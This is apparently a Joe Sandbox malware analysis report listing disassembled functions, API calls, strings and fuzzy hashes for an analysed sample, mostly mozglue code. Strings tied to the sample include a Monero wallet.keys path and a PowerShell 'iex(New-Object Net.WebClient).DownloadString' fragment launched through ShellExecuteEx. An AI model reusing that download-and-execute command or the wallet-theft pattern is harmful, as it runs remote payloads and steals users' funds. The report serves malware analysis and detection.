strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5C31A7), ref: 6C60061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5C31A7), ref: 6C600627

Strings

<jemalloc>, xrefs: 6C6005FA, 6C60060F
: (malloc) Error in VirtualFree(), xrefs: 6C60061B, 6C600625

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction ID: 11a61e6009b6077c91222afa0d54f75a81918fc4ef17807b646ddc6fcfd07655
Opcode Fuzzy Hash: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction Fuzzy Hash: 0BE08CE2A0202037F6142256AC86DBB761CDBC6138F080139FE0E87301E94AAD1A51FA

Function 6C5D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction ID: c0a63c71a7f793b22fa5b91e5e5bd8e2af0281a6ce04312145e950b670540c22
Opcode Fuzzy Hash: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction Fuzzy Hash: 06A12770A01745CFDB14CF29C994A9AFBF1BB89304F45866AD44A9BB00E731B985CF94

Function 6C6214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6214E2
GetCurrentThreadId.KERNEL32 ref: 6C621546
InitializeConditionVariable.KERNEL32(?), ref: 6C6215BA
free.MOZGLUE(?), ref: 6C6216B4

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction ID: 7bbc4385bf2c19e2037474ad6467070cdb38aca36303bbae4f7073e781e2db62
Opcode Fuzzy Hash: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction Fuzzy Hash: CB61F271A047009BDB21DF25C880BDEB7B0BF8A308F44851CED8A67701DB35E959CB99

Function 6C61DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C61D38A,?), ref: 6C61DC6F
free.MOZGLUE(?,?,?,?,?,6C61D38A,?), ref: 6C61DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C61D38A,?), ref: 6C61DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C61D38A,?), ref: 6C61DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C61D38A,?), ref: 6C61DD4A

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction ID: dee93f484dbf10babaae7559b463710b9726233886895710366c1c9aec2fd4bc
Opcode Fuzzy Hash: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction Fuzzy Hash: 15415AB5A00605DFCB00CFA9C88099AB7F6FF89318B554569DA45ABB10D771FC00CB94

Function 6C5FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5FF480

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

CloseHandle.KERNEL32(00000000), ref: 6C5FF555

Part of subcall function 6C5D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D1248,6C5D1248,?), ref: 6C5D14C9
Part of subcall function 6C5D14B0: memcpy.VCRUNTIME140(?,6C5D1248,00000000,?,6C5D1248,?), ref: 6C5D14EF

Part of subcall function 6C5CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5CEEE3

CreateFileW.KERNEL32 ref: 6C5FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5FF523

Strings

\oleacc.dll, xrefs: 6C5FF4CB

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction ID: 3b33cb4800f84965448955d47e7e9c572bcaf1c2a2058b4a4163e88889fef48c
Opcode Fuzzy Hash: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction Fuzzy Hash: 5941BC306087109FE725DF69CC84A9BB7F4AF85318F104B1CE5A083A51EB70E94ACF92

Function 01012C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

ShellExecuteEx.SHELL32(0000003C), ref: 01012D85

Strings

')", xrefs: 01012CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 01012D04
<, xrefs: 01012D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 01012CC4

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 098959b303d95a7ab6232a9f2195db1a7395c0f3c90f1bab6b0cc724626959f1
Instruction ID: 086dcf600a4438d5961088dc0ba84f8e6dbe87e70f72a80bc896d672eec62152
Opcode Fuzzy Hash: 098959b303d95a7ab6232a9f2195db1a7395c0f3c90f1bab6b0cc724626959f1
Instruction Fuzzy Hash: 2541FC71E01249DADB14EFA0D990FDDBB74AF24310F404019E486AB198EF782A8ACF90

Function 6C6274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C627526
__Init_thread_footer.LIBCMT ref: 6C627566
__Init_thread_footer.LIBCMT ref: 6C627597

Strings

kernel32.dll, xrefs: 6C627557
UnmapViewOfFile2, xrefs: 6C627552

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction ID: f836c2573638acb4679bf3ac4df52c18e56fd6ebf02ef9867ef86fccfc8e85f3
Opcode Fuzzy Hash: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction Fuzzy Hash: 3D21D331700501A7DB18DFEAD894E9A7376EB8632DF15C528D80557F80DB2DA8028E9F

Function 6C62C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62C0E9), ref: 6C62C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C62C437
FreeLibrary.KERNEL32(?,6C62C0E9), ref: 6C62C44C

Strings

ntdll.dll, xrefs: 6C62C413
NtQueryVirtualMemory, xrefs: 6C62C431

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction ID: 44ca26d44f00dcbc182d4a83ddd1486ba018090b1929048988630f2cf9a13dff
Opcode Fuzzy Hash: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction Fuzzy Hash: A9E09270705701AFEB007FB7CD88B167AF8AB8638CF00E116AA0599651EBB4C0028A5E

Function 01009E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 01009F41

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

v20, xrefs: 01009E21
@, xrefs: 01009EF1
v10, xrefs: 01009EA3
ERROR_RUN_EXTRACTOR, xrefs: 01009E67

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5ddde97357948fdc8c3e092b18e197f2df017b4009691f050157945b9be6458e
Instruction ID: a56744fea16ac087fca3e3e390d5caa59ce98a3925abb86ac474969d76b2f408
Opcode Fuzzy Hash: 5ddde97357948fdc8c3e092b18e197f2df017b4009691f050157945b9be6458e
Instruction Fuzzy Hash: BA616E71A0024DEBEB25EFA4DC95FEE7775AF54300F008118F98A5F184EB746A06CB90

Function 6C5D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15E7
free.MOZGLUE(?,?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1637

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction ID: ea3c87e106b52efb8932c47b90a2c8e3cf02fab15e58c978f63bcdfc6c409434
Opcode Fuzzy Hash: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction Fuzzy Hash: C731B571A002148BCB18CE7CDC5046F77A9AB853747260B69E427DBBD4EB30F9048799

Function 6C62AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AD9D

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE01
GetLastError.KERNEL32(?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE3D

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction ID: 41751c7401ecb2d36266814ee83f08059e6ec9f429272db75513c1e5b4f388e4
Opcode Fuzzy Hash: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction Fuzzy Hash: DF3143B19003159FDB10DF758C44AABB7F8EF89714F158829E85AD7700E774A805CBA8

Function 6C5CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5CB532
moz_xmalloc.MOZGLUE(?), ref: 6C5CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5CB57E
free.MOZGLUE(00000000), ref: 6C5CB58F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction ID: 1cb3109b2fb7052d4671fa69d850a1f8efe7361b73bcbfc4d1a804cc92f35ae5
Opcode Fuzzy Hash: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction Fuzzy Hash: EE21B971A002059BDB00DFA5CC40B6ABBB9FF85318F64416DE914DB341F775D915CBA2

Function 01019260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00A5DED0,?,?,?,0101140C,?,00A5DED0,00000000), ref: 0101926C
lstrcpyn.KERNEL32(0124AB88,00A5DED0,00A5DED0,?,0101140C,?,00A5DED0), ref: 01019290
lstrlen.KERNEL32(?,?,0101140C,?,00A5DED0), ref: 010192A7
wsprintfA.USER32 ref: 010192C7

Strings

%s%s, xrefs: 010192B5

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: d7df27f64175195e12e5790bbd8addb94df2812bf761519abcd737a1d099d5ca
Instruction ID: 114a30ccb830fd338e500fbb3e9be5a2f448927aa5ad3d16b256ae9768aac4cd
Opcode Fuzzy Hash: d7df27f64175195e12e5790bbd8addb94df2812bf761519abcd737a1d099d5ca
Instruction Fuzzy Hash: AF011E75540108FFDB18DFECD998EAE7BB9FB44354F10854CF94A8B208D635AA40CB90

Function 6C600D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5C3DEF), ref: 6C600D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5C3DEF), ref: 6C600D84
